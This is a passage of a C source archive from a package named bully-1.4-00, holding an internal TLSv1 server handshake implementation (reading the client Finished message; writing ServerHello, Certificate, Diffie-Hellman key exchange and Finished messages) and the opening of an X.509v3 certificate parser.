TLS_ALERT_DECODE_ERROR); return -1; } if (*pos != TLS_CHANGE_CIPHER_SPEC) { wpa_printf(MSG_DEBUG, "TLSv1: Expected ChangeCipherSpec; " "received data 0x%x", *pos); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_UNEXPECTED_MESSAGE); return -1; } wpa_printf(MSG_DEBUG, "TLSv1: Received ChangeCipherSpec"); if (tlsv1_record_change_read_cipher(&conn->rl) < 0) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to change read cipher " "for record layer"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } *in_len = pos + 1 - in_data; conn->state = CLIENT_FINISHED; return 0; } static int tls_process_client_finished(struct tlsv1_server *conn, u8 ct, const u8 *in_data, size_t *in_len) { const u8 *pos, *end; size_t left, len, hlen; u8 verify_data[TLS_VERIFY_DATA_LEN]; u8 hash[MD5_MAC_LEN + SHA1_MAC_LEN]; if (ct != TLS_CONTENT_TYPE_HANDSHAKE) { wpa_printf(MSG_DEBUG, "TLSv1: Expected Finished; " "received content type 0x%x", ct); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_UNEXPECTED_MESSAGE); return -1; } pos = in_data; left = *in_len; if (left < 4) { wpa_printf(MSG_DEBUG, "TLSv1: Too short record (left=%lu) for " "Finished", (unsigned long) left); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); return -1; } if (pos[0] != TLS_HANDSHAKE_TYPE_FINISHED) { wpa_printf(MSG_DEBUG, "TLSv1: Expected Finished; received " "type 0x%x", pos[0]); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_UNEXPECTED_MESSAGE); return -1; } len = WPA_GET_BE24(pos + 1); pos += 4; left -= 4; if (len > left) { wpa_printf(MSG_DEBUG, "TLSv1: Too short buffer for Finished " "(len=%lu > left=%lu)", (unsigned long) len, (unsigned long) left); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); return -1; } end = pos + len; if (len != TLS_VERIFY_DATA_LEN) { wpa_printf(MSG_DEBUG, "TLSv1: Unexpected verify_data length " "in Finished: %lu (expected %d)", (unsigned long) len, TLS_VERIFY_DATA_LEN); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); return -1; } wpa_hexdump(MSG_MSGDUMP, "TLSv1: verify_data in Finished", pos, TLS_VERIFY_DATA_LEN); hlen = MD5_MAC_LEN; if (conn->verify.md5_client == NULL || crypto_hash_finish(conn->verify.md5_client, hash, &hlen) < 0) { tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); conn->verify.md5_client = NULL; crypto_hash_finish(conn->verify.sha1_client, NULL, NULL); conn->verify.sha1_client = NULL; return -1; } conn->verify.md5_client = NULL; hlen = SHA1_MAC_LEN; if (conn->verify.sha1_client == NULL || crypto_hash_finish(conn->verify.sha1_client, hash + MD5_MAC_LEN, &hlen) < 0) { conn->verify.sha1_client = NULL; tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } conn->verify.sha1_client = NULL; if (tls_prf(conn->master_secret, TLS_MASTER_SECRET_LEN, "client finished", hash, MD5_MAC_LEN + SHA1_MAC_LEN, verify_data, TLS_VERIFY_DATA_LEN)) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to derive verify_data"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECRYPT_ERROR); return -1; } wpa_hexdump_key(MSG_DEBUG, "TLSv1: verify_data (client)", verify_data, TLS_VERIFY_DATA_LEN); if (os_memcmp(pos, verify_data, TLS_VERIFY_DATA_LEN) != 0) { wpa_printf(MSG_INFO, "TLSv1: Mismatch in verify_data"); return -1; } wpa_printf(MSG_DEBUG, "TLSv1: Received Finished"); *in_len = end - in_data; if (conn->use_session_ticket) { /* Abbreviated handshake using session ticket; RFC 4507 */ wpa_printf(MSG_DEBUG, "TLSv1: Abbreviated handshake completed " "successfully"); conn->state = ESTABLISHED; } else { /* Full handshake */ conn->state = SERVER_CHANGE_CIPHER_SPEC; } return 0; } int tlsv1_server_process_handshake(struct tlsv1_server *conn, u8 ct, const u8 *buf, size_t *len) { if (ct == TLS_CONTENT_TYPE_ALERT) { if (*len < 2) { wpa_printf(MSG_DEBUG, "TLSv1: Alert underflow"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); return -1; } wpa_printf(MSG_DEBUG, "TLSv1: Received alert %d:%d", buf[0], buf[1]); *len = 2; conn->state = FAILED; return -1; } switch (conn->state) { case CLIENT_HELLO: if (tls_process_client_hello(conn, ct, buf, len)) return -1; break; case CLIENT_CERTIFICATE: if (tls_process_certificate(conn, ct, buf, len)) return -1; break; case CLIENT_KEY_EXCHANGE: if (tls_process_client_key_exchange(conn, ct, buf, len)) return -1; break; case CERTIFICATE_VERIFY: if (tls_process_certificate_verify(conn, ct, buf, len)) return -1; break; case CHANGE_CIPHER_SPEC: if (tls_process_change_cipher_spec(conn, ct, buf, len)) return -1; break; case CLIENT_FINISHED: if (tls_process_client_finished(conn, ct, buf, len)) return -1; break; default: wpa_printf(MSG_DEBUG, "TLSv1: Unexpected state %d " "while processing received message", conn->state); return -1; } if (ct == TLS_CONTENT_TYPE_HANDSHAKE) tls_verify_hash_add(&conn->verify, buf, *len); return 0; } bully-1.4-00/src/tls/tlsv1_server_write.c000077500000000000000000000475471361530463600203630ustar00rootroot00000000000000/* * TLSv1 server - write handshake message * Copyright (c) 2006-2007, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "crypto/md5.h" #include "crypto/sha1.h" #include "crypto/tls.h" #include "x509v3.h" #include "tlsv1_common.h" #include "tlsv1_record.h" #include "tlsv1_server.h" #include "tlsv1_server_i.h" static size_t tls_server_cert_chain_der_len(struct tlsv1_server *conn) { size_t len = 0; struct x509_certificate *cert; cert = conn->cred->cert; while (cert) { len += 3 + cert->cert_len; if (x509_certificate_self_signed(cert)) break; cert = x509_certificate_get_subject(conn->cred->trusted_certs, &cert->issuer); } return len; } static int tls_write_server_hello(struct tlsv1_server *conn, u8 **msgpos, u8 *end) { u8 *pos, *rhdr, *hs_start, *hs_length; struct os_time now; size_t rlen; pos = *msgpos; wpa_printf(MSG_DEBUG, "TLSv1: Send ServerHello"); rhdr = pos; pos += TLS_RECORD_HEADER_LEN; os_get_time(&now); WPA_PUT_BE32(conn->server_random, now.sec); if (os_get_random(conn->server_random + 4, TLS_RANDOM_LEN - 4)) { wpa_printf(MSG_ERROR, "TLSv1: Could not generate " "server_random"); return -1; } wpa_hexdump(MSG_MSGDUMP, "TLSv1: server_random", conn->server_random, TLS_RANDOM_LEN); conn->session_id_len = TLS_SESSION_ID_MAX_LEN; if (os_get_random(conn->session_id, conn->session_id_len)) { wpa_printf(MSG_ERROR, "TLSv1: Could not generate " "session_id"); return -1; } wpa_hexdump(MSG_MSGDUMP, "TLSv1: session_id", conn->session_id, conn->session_id_len); /* opaque fragment[TLSPlaintext.length] */ /* Handshake */ hs_start = pos; /* HandshakeType msg_type */ *pos++ = TLS_HANDSHAKE_TYPE_SERVER_HELLO; /* uint24 length (to be filled) */ hs_length = pos; pos += 3; /* body - ServerHello */ /* ProtocolVersion server_version */ WPA_PUT_BE16(pos, TLS_VERSION); pos += 2; /* Random random: uint32 gmt_unix_time, opaque random_bytes */ os_memcpy(pos, conn->server_random, TLS_RANDOM_LEN); pos += TLS_RANDOM_LEN; /* SessionID session_id */ *pos++ = conn->session_id_len; os_memcpy(pos, conn->session_id, conn->session_id_len); pos += conn->session_id_len; /* CipherSuite cipher_suite */ WPA_PUT_BE16(pos, conn->cipher_suite); pos += 2; /* CompressionMethod compression_method */ *pos++ = TLS_COMPRESSION_NULL; if (conn->session_ticket && conn->session_ticket_cb) { int res = conn->session_ticket_cb( conn->session_ticket_cb_ctx, conn->session_ticket, conn->session_ticket_len, conn->client_random, conn->server_random, conn->master_secret); if (res < 0) { wpa_printf(MSG_DEBUG, "TLSv1: SessionTicket callback " "indicated failure"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_HANDSHAKE_FAILURE); return -1; } conn->use_session_ticket = res; if (conn->use_session_ticket) { if (tlsv1_server_derive_keys(conn, NULL, 0) < 0) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to " "derive keys"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } } /* * RFC 4507 specifies that server would include an empty * SessionTicket extension in ServerHello and a * NewSessionTicket message after the ServerHello. However, * EAP-FAST (RFC 4851), i.e., the only user of SessionTicket * extension at the moment, does not use such extensions. * * TODO: Add support for configuring RFC 4507 behavior and make * EAP-FAST disable it. */ } WPA_PUT_BE24(hs_length, pos - hs_length - 3); tls_verify_hash_add(&conn->verify, hs_start, pos - hs_start); if (tlsv1_record_send(&conn->rl, TLS_CONTENT_TYPE_HANDSHAKE, rhdr, end - rhdr, pos - hs_start, &rlen) < 0) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to create TLS record"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } pos = rhdr + rlen; *msgpos = pos; return 0; } static int tls_write_server_certificate(struct tlsv1_server *conn, u8 **msgpos, u8 *end) { u8 *pos, *rhdr, *hs_start, *hs_length, *cert_start; size_t rlen; struct x509_certificate *cert; const struct tls_cipher_suite *suite; suite = tls_get_cipher_suite(conn->rl.cipher_suite); if (suite && suite->key_exchange == TLS_KEY_X_DH_anon) { wpa_printf(MSG_DEBUG, "TLSv1: Do not send Certificate when " "using anonymous DH"); return 0; } pos = *msgpos; wpa_printf(MSG_DEBUG, "TLSv1: Send Certificate"); rhdr = pos; pos += TLS_RECORD_HEADER_LEN; /* opaque fragment[TLSPlaintext.length] */ /* Handshake */ hs_start = pos; /* HandshakeType msg_type */ *pos++ = TLS_HANDSHAKE_TYPE_CERTIFICATE; /* uint24 length (to be filled) */ hs_length = pos; pos += 3; /* body - Certificate */ /* uint24 length (to be filled) */ cert_start = pos; pos += 3; cert = conn->cred->cert; while (cert) { if (pos + 3 + cert->cert_len > end) { wpa_printf(MSG_DEBUG, "TLSv1: Not enough buffer space " "for Certificate (cert_len=%lu left=%lu)", (unsigned long) cert->cert_len, (unsigned long) (end - pos)); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } WPA_PUT_BE24(pos, cert->cert_len); pos += 3; os_memcpy(pos, cert->cert_start, cert->cert_len); pos += cert->cert_len; if (x509_certificate_self_signed(cert)) break; cert = x509_certificate_get_subject(conn->cred->trusted_certs, &cert->issuer); } if (cert == conn->cred->cert || cert == NULL) { /* * Server was not configured with all the needed certificates * to form a full certificate chain. The client may fail to * validate the chain unless it is configured with all the * missing CA certificates. */ wpa_printf(MSG_DEBUG, "TLSv1: Full server certificate chain " "not configured - validation may fail"); } WPA_PUT_BE24(cert_start, pos - cert_start - 3); WPA_PUT_BE24(hs_length, pos - hs_length - 3); if (tlsv1_record_send(&conn->rl, TLS_CONTENT_TYPE_HANDSHAKE, rhdr, end - rhdr, pos - hs_start, &rlen) < 0) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to generate a record"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } pos = rhdr + rlen; tls_verify_hash_add(&conn->verify, hs_start, pos - hs_start); *msgpos = pos; return 0; } static int tls_write_server_key_exchange(struct tlsv1_server *conn, u8 **msgpos, u8 *end) { tls_key_exchange keyx; const struct tls_cipher_suite *suite; u8 *pos, *rhdr, *hs_start, *hs_length; size_t rlen; u8 *dh_ys; size_t dh_ys_len; suite = tls_get_cipher_suite(conn->rl.cipher_suite); if (suite == NULL) keyx = TLS_KEY_X_NULL; else keyx = suite->key_exchange; if (!tls_server_key_exchange_allowed(conn->rl.cipher_suite)) { wpa_printf(MSG_DEBUG, "TLSv1: No ServerKeyExchange needed"); return 0; } if (keyx != TLS_KEY_X_DH_anon) { /* TODO? */ wpa_printf(MSG_DEBUG, "TLSv1: ServerKeyExchange not yet " "supported with key exchange type %d", keyx); return -1; } if (conn->cred == NULL || conn->cred->dh_p == NULL || conn->cred->dh_g == NULL) { wpa_printf(MSG_DEBUG, "TLSv1: No DH parameters available for " "ServerKeyExhcange"); return -1; } os_free(conn->dh_secret); conn->dh_secret_len = conn->cred->dh_p_len; conn->dh_secret = os_malloc(conn->dh_secret_len); if (conn->dh_secret == NULL) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to allocate " "memory for secret (Diffie-Hellman)"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } if (os_get_random(conn->dh_secret, conn->dh_secret_len)) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to get random " "data for Diffie-Hellman"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); os_free(conn->dh_secret); conn->dh_secret = NULL; return -1; } if (os_memcmp(conn->dh_secret, conn->cred->dh_p, conn->dh_secret_len) > 0) conn->dh_secret[0] = 0; /* make sure secret < p */ pos = conn->dh_secret; while (pos + 1 < conn->dh_secret + conn->dh_secret_len && *pos == 0) pos++; if (pos != conn->dh_secret) { os_memmove(conn->dh_secret, pos, conn->dh_secret_len - (pos - conn->dh_secret)); conn->dh_secret_len -= pos - conn->dh_secret; } wpa_hexdump_key(MSG_DEBUG, "TLSv1: DH server's secret value", conn->dh_secret, conn->dh_secret_len); /* Ys = g^secret mod p */ dh_ys_len = conn->cred->dh_p_len; dh_ys = os_malloc(dh_ys_len); if (dh_ys == NULL) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to allocate memory for " "Diffie-Hellman"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } if (crypto_mod_exp(conn->cred->dh_g, conn->cred->dh_g_len, conn->dh_secret, conn->dh_secret_len, conn->cred->dh_p, conn->cred->dh_p_len, dh_ys, &dh_ys_len)) { tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); os_free(dh_ys); return -1; } wpa_hexdump(MSG_DEBUG, "TLSv1: DH Ys (server's public value)", dh_ys, dh_ys_len); /* * struct { * select (KeyExchangeAlgorithm) { * case diffie_hellman: * ServerDHParams params; * Signature signed_params; * case rsa: * ServerRSAParams params; * Signature signed_params; * }; * } ServerKeyExchange; * * struct { * opaque dh_p<1..2^16-1>; * opaque dh_g<1..2^16-1>; * opaque dh_Ys<1..2^16-1>; * } ServerDHParams; */ pos = *msgpos; wpa_printf(MSG_DEBUG, "TLSv1: Send ServerKeyExchange"); rhdr = pos; pos += TLS_RECORD_HEADER_LEN; /* opaque fragment[TLSPlaintext.length] */ /* Handshake */ hs_start = pos; /* HandshakeType msg_type */ *pos++ = TLS_HANDSHAKE_TYPE_SERVER_KEY_EXCHANGE; /* uint24 length (to be filled) */ hs_length = pos; pos += 3; /* body - ServerDHParams */ /* dh_p */ if (pos + 2 + conn->cred->dh_p_len > end) { wpa_printf(MSG_DEBUG, "TLSv1: Not enough buffer space for " "dh_p"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); os_free(dh_ys); return -1; } WPA_PUT_BE16(pos, conn->cred->dh_p_len); pos += 2; os_memcpy(pos, conn->cred->dh_p, conn->cred->dh_p_len); pos += conn->cred->dh_p_len; /* dh_g */ if (pos + 2 + conn->cred->dh_g_len > end) { wpa_printf(MSG_DEBUG, "TLSv1: Not enough buffer space for " "dh_g"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); os_free(dh_ys); return -1; } WPA_PUT_BE16(pos, conn->cred->dh_g_len); pos += 2; os_memcpy(pos, conn->cred->dh_g, conn->cred->dh_g_len); pos += conn->cred->dh_g_len; /* dh_Ys */ if (pos + 2 + dh_ys_len > end) { wpa_printf(MSG_DEBUG, "TLSv1: Not enough buffer space for " "dh_Ys"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); os_free(dh_ys); return -1; } WPA_PUT_BE16(pos, dh_ys_len); pos += 2; os_memcpy(pos, dh_ys, dh_ys_len); pos += dh_ys_len; os_free(dh_ys); WPA_PUT_BE24(hs_length, pos - hs_length - 3); if (tlsv1_record_send(&conn->rl, TLS_CONTENT_TYPE_HANDSHAKE, rhdr, end - rhdr, pos - hs_start, &rlen) < 0) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to generate a record"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } pos = rhdr + rlen; tls_verify_hash_add(&conn->verify, hs_start, pos - hs_start); *msgpos = pos; return 0; } static int tls_write_server_certificate_request(struct tlsv1_server *conn, u8 **msgpos, u8 *end) { u8 *pos, *rhdr, *hs_start, *hs_length; size_t rlen; if (!conn->verify_peer) { wpa_printf(MSG_DEBUG, "TLSv1: No CertificateRequest needed"); return 0; } pos = *msgpos; wpa_printf(MSG_DEBUG, "TLSv1: Send CertificateRequest"); rhdr = pos; pos += TLS_RECORD_HEADER_LEN; /* opaque fragment[TLSPlaintext.length] */ /* Handshake */ hs_start = pos; /* HandshakeType msg_type */ *pos++ = TLS_HANDSHAKE_TYPE_CERTIFICATE_REQUEST; /* uint24 length (to be filled) */ hs_length = pos; pos += 3; /* body - CertificateRequest */ /* * enum { * rsa_sign(1), dss_sign(2), rsa_fixed_dh(3), dss_fixed_dh(4), * (255) * } ClientCertificateType; * ClientCertificateType certificate_types<1..2^8-1> */ *pos++ = 1; *pos++ = 1; /* rsa_sign */ /* * opaque DistinguishedName<1..2^16-1> * DistinguishedName certificate_authorities<3..2^16-1> */ /* TODO: add support for listing DNs for trusted CAs */ WPA_PUT_BE16(pos, 0); pos += 2; WPA_PUT_BE24(hs_length, pos - hs_length - 3); if (tlsv1_record_send(&conn->rl, TLS_CONTENT_TYPE_HANDSHAKE, rhdr, end - rhdr, pos - hs_start, &rlen) < 0) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to generate a record"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } pos = rhdr + rlen; tls_verify_hash_add(&conn->verify, hs_start, pos - hs_start); *msgpos = pos; return 0; } static int tls_write_server_hello_done(struct tlsv1_server *conn, u8 **msgpos, u8 *end) { u8 *pos, *rhdr, *hs_start, *hs_length; size_t rlen; pos = *msgpos; wpa_printf(MSG_DEBUG, "TLSv1: Send ServerHelloDone"); rhdr = pos; pos += TLS_RECORD_HEADER_LEN; /* opaque fragment[TLSPlaintext.length] */ /* Handshake */ hs_start = pos; /* HandshakeType msg_type */ *pos++ = TLS_HANDSHAKE_TYPE_SERVER_HELLO_DONE; /* uint24 length (to be filled) */ hs_length = pos; pos += 3; /* body - ServerHelloDone (empty) */ WPA_PUT_BE24(hs_length, pos - hs_length - 3); if (tlsv1_record_send(&conn->rl, TLS_CONTENT_TYPE_HANDSHAKE, rhdr, end - rhdr, pos - hs_start, &rlen) < 0) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to generate a record"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } pos = rhdr + rlen; tls_verify_hash_add(&conn->verify, hs_start, pos - hs_start); *msgpos = pos; return 0; } static int tls_write_server_change_cipher_spec(struct tlsv1_server *conn, u8 **msgpos, u8 *end) { u8 *pos, *rhdr; size_t rlen; pos = *msgpos; wpa_printf(MSG_DEBUG, "TLSv1: Send ChangeCipherSpec"); rhdr = pos; pos += TLS_RECORD_HEADER_LEN; *pos = TLS_CHANGE_CIPHER_SPEC; if (tlsv1_record_send(&conn->rl, TLS_CONTENT_TYPE_CHANGE_CIPHER_SPEC, rhdr, end - rhdr, 1, &rlen) < 0) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to create a record"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } if (tlsv1_record_change_write_cipher(&conn->rl) < 0) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to set write cipher for " "record layer"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } *msgpos = rhdr + rlen; return 0; } static int tls_write_server_finished(struct tlsv1_server *conn, u8 **msgpos, u8 *end) { u8 *pos, *rhdr, *hs_start, *hs_length; size_t rlen, hlen; u8 verify_data[TLS_VERIFY_DATA_LEN]; u8 hash[MD5_MAC_LEN + SHA1_MAC_LEN]; pos = *msgpos; wpa_printf(MSG_DEBUG, "TLSv1: Send Finished"); /* Encrypted Handshake Message: Finished */ hlen = MD5_MAC_LEN; if (conn->verify.md5_server == NULL || crypto_hash_finish(conn->verify.md5_server, hash, &hlen) < 0) { tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); conn->verify.md5_server = NULL; crypto_hash_finish(conn->verify.sha1_server, NULL, NULL); conn->verify.sha1_server = NULL; return -1; } conn->verify.md5_server = NULL; hlen = SHA1_MAC_LEN; if (conn->verify.sha1_server == NULL || crypto_hash_finish(conn->verify.sha1_server, hash + MD5_MAC_LEN, &hlen) < 0) { conn->verify.sha1_server = NULL; tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } conn->verify.sha1_server = NULL; if (tls_prf(conn->master_secret, TLS_MASTER_SECRET_LEN, "server finished", hash, MD5_MAC_LEN + SHA1_MAC_LEN, verify_data, TLS_VERIFY_DATA_LEN)) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to generate verify_data"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } wpa_hexdump_key(MSG_DEBUG, "TLSv1: verify_data (server)", verify_data, TLS_VERIFY_DATA_LEN); rhdr = pos; pos += TLS_RECORD_HEADER_LEN; /* Handshake */ hs_start = pos; /* HandshakeType msg_type */ *pos++ = TLS_HANDSHAKE_TYPE_FINISHED; /* uint24 length (to be filled) */ hs_length = pos; pos += 3; os_memcpy(pos, verify_data, TLS_VERIFY_DATA_LEN); pos += TLS_VERIFY_DATA_LEN; WPA_PUT_BE24(hs_length, pos - hs_length - 3); tls_verify_hash_add(&conn->verify, hs_start, pos - hs_start); if (tlsv1_record_send(&conn->rl, TLS_CONTENT_TYPE_HANDSHAKE, rhdr, end - rhdr, pos - hs_start, &rlen) < 0) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to create a record"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } pos = rhdr + rlen; *msgpos = pos; return 0; } static u8 * tls_send_server_hello(struct tlsv1_server *conn, size_t *out_len) { u8 *msg, *end, *pos; size_t msglen; *out_len = 0; msglen = 1000 + tls_server_cert_chain_der_len(conn); msg = os_malloc(msglen); if (msg == NULL) return NULL; pos = msg; end = msg + msglen; if (tls_write_server_hello(conn, &pos, end) < 0) { os_free(msg); return NULL; } if (conn->use_session_ticket) { /* Abbreviated handshake using session ticket; RFC 4507 */ if (tls_write_server_change_cipher_spec(conn, &pos, end) < 0 || tls_write_server_finished(conn, &pos, end) < 0) { os_free(msg); return NULL; } *out_len = pos - msg; conn->state = CHANGE_CIPHER_SPEC; return msg; } /* Full handshake */ if (tls_write_server_certificate(conn, &pos, end) < 0 || tls_write_server_key_exchange(conn, &pos, end) < 0 || tls_write_server_certificate_request(conn, &pos, end) < 0 || tls_write_server_hello_done(conn, &pos, end) < 0) { os_free(msg); return NULL; } *out_len = pos - msg; conn->state = CLIENT_CERTIFICATE; return msg; } static u8 * tls_send_change_cipher_spec(struct tlsv1_server *conn, size_t *out_len) { u8 *msg, *end, *pos; *out_len = 0; msg = os_malloc(1000); if (msg == NULL) return NULL; pos = msg; end = msg + 1000; if (tls_write_server_change_cipher_spec(conn, &pos, end) < 0 || tls_write_server_finished(conn, &pos, end) < 0) { os_free(msg); return NULL; } *out_len = pos - msg; wpa_printf(MSG_DEBUG, "TLSv1: Handshake completed successfully"); conn->state = ESTABLISHED; return msg; } u8 * tlsv1_server_handshake_write(struct tlsv1_server *conn, size_t *out_len) { switch (conn->state) { case SERVER_HELLO: return tls_send_server_hello(conn, out_len); case SERVER_CHANGE_CIPHER_SPEC: return tls_send_change_cipher_spec(conn, out_len); default: if (conn->state == ESTABLISHED && conn->use_session_ticket) { /* Abbreviated handshake was already completed. */ return NULL; } wpa_printf(MSG_DEBUG, "TLSv1: Unexpected state %d while " "generating reply", conn->state); return NULL; } } u8 * tlsv1_server_send_alert(struct tlsv1_server *conn, u8 level, u8 description, size_t *out_len) { u8 *alert, *pos, *length; wpa_printf(MSG_DEBUG, "TLSv1: Send Alert(%d:%d)", level, description); *out_len = 0; alert = os_malloc(10); if (alert == NULL) return NULL; pos = alert; /* TLSPlaintext */ /* ContentType type */ *pos++ = TLS_CONTENT_TYPE_ALERT; /* ProtocolVersion version */ WPA_PUT_BE16(pos, TLS_VERSION); pos += 2; /* uint16 length (to be filled) */ length = pos; pos += 2; /* opaque fragment[TLSPlaintext.length] */ /* Alert */ /* AlertLevel level */ *pos++ = level; /* AlertDescription description */ *pos++ = description; WPA_PUT_BE16(length, pos - length - 2); *out_len = pos - alert; return alert; } bully-1.4-00/src/tls/x509v3.c000077500000000000000000001410151361530463600154510ustar00rootroot00000000000000/* * X.509v3 certificate parsing and processing (RFC 3280 profile) * Copyright (c) 2006-2007, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "crypto/crypto.h" #include "asn1.h" #include "x509v3.h" static void x509_free_name(struct x509_name *name) { size_t i; for (i = 0; i < name->num_attr; i++) { os_free(name->attr[i].value); name->attr[i].value = NULL; name->attr[i].type = X509_NAME_ATTR_NOT_USED; } name->num_attr = 0; os_free(name->email); name->email = NULL; os_free(name->alt_email); os_free(name->dns); os_free(name->uri); os_free(name->ip); name->alt_email = name->dns = name->uri = NULL; name->ip = NULL; name->ip_len = 0; os_memset(&name->rid, 0, sizeof(name->rid)); } /** * x509_certificate_free - Free an X.509 certificate * @cert: Certificate to be freed */ void x509_certificate_free(struct x509_certificate *cert) { if (cert == NULL) return; if (cert->next) { wpa_printf(MSG_DEBUG, "X509: x509_certificate_free: cer=%p " "was still on a list (next=%p)\n", cert, cert->next); } x509_free_name(&cert->issuer); x509_free_name(&cert->subject); os_free(cert->public_key); os_free(cert->sign_value); os_free(cert); } /** * x509_certificate_free - Free an X.509 certificate chain * @cert: Pointer to the first certificate in the chain */ void x509_certificate_chain_free(struct x509_certificate *cert) { struct x509_certificate *next; while (cert) { next = cert->next; cert->next = NULL; x509_certificate_free(cert); cert = next; } } static int x509_whitespace(char c) { return c == ' ' || c == '\t'; } static void x509_str_strip_whitespace(char *a) { char *ipos, *opos; int remove_whitespace = 1; ipos = opos = a; while (*ipos) { if (remove_whitespace && x509_whitespace(*ipos)) ipos++; else { remove_whitespace = x509_whitespace(*ipos); *opos++ = *ipos++; } } *opos-- = '\0'; if (opos > a && x509_whitespace(*opos)) *opos = '\0'; } static int x509_str_compare(const char *a, const char *b) { char *aa, *bb; int ret; if (!a && b) return -1; if (a && !b) return 1; if (!a && !b) return 0; aa = os_strdup(a); bb = os_strdup(b); if (aa == NULL || bb == NULL) { os_free(aa); os_free(bb); return os_strcasecmp(a, b); } x509_str_strip_whitespace(aa); x509_str_strip_whitespace(bb); ret = os_strcasecmp(aa, bb); os_free(aa); os_free(bb); return ret; } /** * x509_name_compare - Compare X.509 certificate names * @a: Certificate name * @b: Certificate name * Returns: <0, 0, or >0 based on whether a is less than, equal to, or * greater than b */ int x509_name_compare(struct x509_name *a, struct x509_name *b) { int res; size_t i; if (!a && b) return -1; if (a && !b) return 1; if (!a && !b) return 0; if (a->num_attr < b->num_attr) return -1; if (a->num_attr > b->num_attr) return 1; for (i = 0; i < a->num_attr; i++) { if (a->attr[i].type < b->attr[i].type) return -1; if (a->attr[i].type > b->attr[i].type) return -1; res = x509_str_compare(a->attr[i].value, b->attr[i].value); if (res) return res; } res = x509_str_compare(a->email, b->email); if (res) return res; return 0; } static int x509_parse_algorithm_identifier( const u8 *buf, size_t len, struct x509_algorithm_identifier *id, const u8 **next) { struct asn1_hdr hdr; const u8 *pos, *end; /* * AlgorithmIdentifier ::= SEQUENCE { * algorithm OBJECT IDENTIFIER, * parameters ANY DEFINED BY algorithm OPTIONAL * } */ if (asn1_get_next(buf, len, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_SEQUENCE) { wpa_printf(MSG_DEBUG, "X509: Expected SEQUENCE " "(AlgorithmIdentifier) - found class %d tag 0x%x", 